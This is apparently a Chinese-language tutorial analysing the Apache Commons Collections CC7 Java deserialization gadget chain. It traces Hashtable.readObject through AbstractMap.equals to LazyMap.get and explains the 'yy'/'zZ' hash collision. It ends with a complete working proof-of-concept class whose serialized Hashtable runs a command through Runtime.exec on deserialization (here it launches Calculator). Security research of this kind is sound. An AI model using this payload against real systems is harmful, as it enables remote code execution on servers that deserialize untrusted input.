1. CommonsCollections7利用链分析
这个利用链也是一个调用LazyMap.get
方法触发ChainedTransformer.transform
方法从而执行命令的利用链。触发命令执行的调用栈如下:
java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke ....省略....
可以看到,为了触发LazyMap.get
,CC7中作者使用了Hashtable
。通过Hashtable
的readObject
方法在反序列化过程中触发LazyMap.get
。先简单了解一下Hashtable
类。
1.1 Hashtable
Hashtable通过键值对的方式存储对象。它的内部维护了一个table
变量,并将数据存储在table
中。table
变量的声明如下:
private transient Entry<K,V>[] table;
可以看到table
变量使用了transient
关键字来声明序列化时不保存该变量。而事实上,在我们观察一下Hashtable.get
方法:
public synchronized V get(Object key) { Entry tab[] = table; int hash = hash(key); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { return e.value; } } return null; }
可以看到就是在计算一个key的hash值,然后换算成对应的index
直接从table
中读取数据。而其序列化过程中又不会保存table
变量,因此反序列化时就需要重建table
变量。Hashtable.readObject
方法代码如下:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...省略... Entry<K,V>[] newTable = new Entry[length];//新建一个newTable ...省略... // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) {//循环读入键值对并放入newTable K key = (K)s.readObject(); V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(newTable, key, value); } this.table = newTable; }
可以看到该方法中,循环读入每一个键值对,然后调用reconstitutionPut
方法将键值对放入newTable
中,最后再把newTable
赋值给this.table
以供后续使用。而真正触发Lazymap.get
的方法就在reconstitutionPut
中,我们跟进该方法:
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. //可以看到它需要保证新存入的key不在表中,毕竟hash表中不允许出现key相同的两个值 int hash = hash(key);//计算key的hash int index = (hash & 0x7FFFFFFF) % tab.length;//计算key对应的index for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {//循环表中现有元素 if ((e.hash == hash) && e.key.equals(key)) {//对比是否hash相同并且key也相同,而真正触发代码就在这里 throw new java.io.StreamCorruptedException(); } } // Creates the new entry. Entry<K,V> e = tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
HashTable.reconstitutionPut
方法中,对每一个新加入的键值队,都要对比是否已经存在相同的键,毕竟按理来说Hash表中不应该存在键相同的键值对,因此这里需要对比key是否相同。而作者在这里以LazyMap
作为key
,因此会调用LazyMap.equals
方法。查看LazyMap
类发现其中并没有equals
方法,而LazyMap
继承了AbstractMapDecorator
类。因此这里调用的是AbstractMapDecorator.equals
,该方法代码如下:
public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }
可以看到在该方法内部又调用了map.equals
。而这个map变量事实上,在调用LazyMap.decorate
方法构造LazyMap
实例的时候就已经指定:
public static Map decorate(Map map, Transformer factory)
也就是这里传入的Map参数。作者构造Lazymap时代码如下:
Map innerMap1 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
因此这里的map.equals
调用的是HashMap.equals
。这里HashMap
类其实也没有单独写equals
方法,因此调用的是它的父类AbstractMap
的equals
方法。AbstractMap
方法的代码如下:
public boolean equals(Object o) { ...省略... //最开始调用比较的代码中,e.key.equals(key),key是lazyMap Map<K,V> m = (Map<K,V>) o;//就是传入参数key,因此m也就是lazyMap if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) {//循环当前Map中每一个条目,如果只放入了两个元素,那么显然第一进行比较时当前Map就是lazyMap1所对应的Map,而m则是lazyMap2。 Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) {//可以看到这里不管value是不是null都会调用m.get(key) if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } ...省略... }
可以看到,这里会调用m.get(key)
,也就是lazyMap.get
方法。这里由于value
显然是不等于null
的因此就会进入if (!value.equals(m.get(key)))
,从而触发发LazyMap.get
方法。但是这里面有个坑,在reconstitutionPut
方法中:
if ((e.hash == hash) && e.key.equals(key))
代码从左向右执行,会先比较二者hash是否相等。在与条件下,如果二者哈希相等才会执行后面的e.key.equals(key)
。那么如何保证二者hash相等呢?其实是需要追这个hash函数的。lazyMap里作者put的两个键值对并不是随便选的,这里其实会调用到AbstractMap.hashCode
方法,总的来说就是把每一项取出来键和值分别计算hashCode
然后做异或运算再累加。这里我们的键是String
类,而值存的是int
类。因此会分别调用String
和int
的hashcode
方法。作者放入lazymap的值都是1因此不需要关注int的hashcode方法,只需要看看String的hashcode方法:
public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value; for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
可以看到这并不是什么神奇的单向散列,就是个累加。所以这里选择添加的yy
和zZ
并不是随便选的,这两个String计算hash后值是相等的。
lazyMap1.put("yy", 1); lazyMap2.put("zZ", 1);
还有一个地方需要注意的就是为什么需要lazyMap2.remove("yy");
。主要是因为hashtable.put(lazyMap2, 2);
调用了HashTable.put
方法,该方法代码如下:
public synchronized V put(K key, V value) { ...省略... Entry tab[] = table; int hash = hash(key); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { V old = e.value; e.value = value; return old; } } ...省略... }
可以看到这里也调用了e.key.equals(key)
,因此会触发Lazymap.get
方法,而最开始我们设置的transformer
空的transformer
,而空transformer
默认的transform
方法就是返回对象本身。
最终完整的利用链代码如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CC7Test { public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException { // Reusing transformer chain and LazyMap gadgets from previous payloads String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); //这两个put的条目要保证hash相等 Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);//会触发equal,从而触发lazymap.get,会向lazyMap2添加一个yy->yy条目 //设置真正的iTransformers Field iTransformersField = transformerChain.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain,transformers); // 删除put时添加的yy条目 lazyMap2.remove("yy"); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashtable); //反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }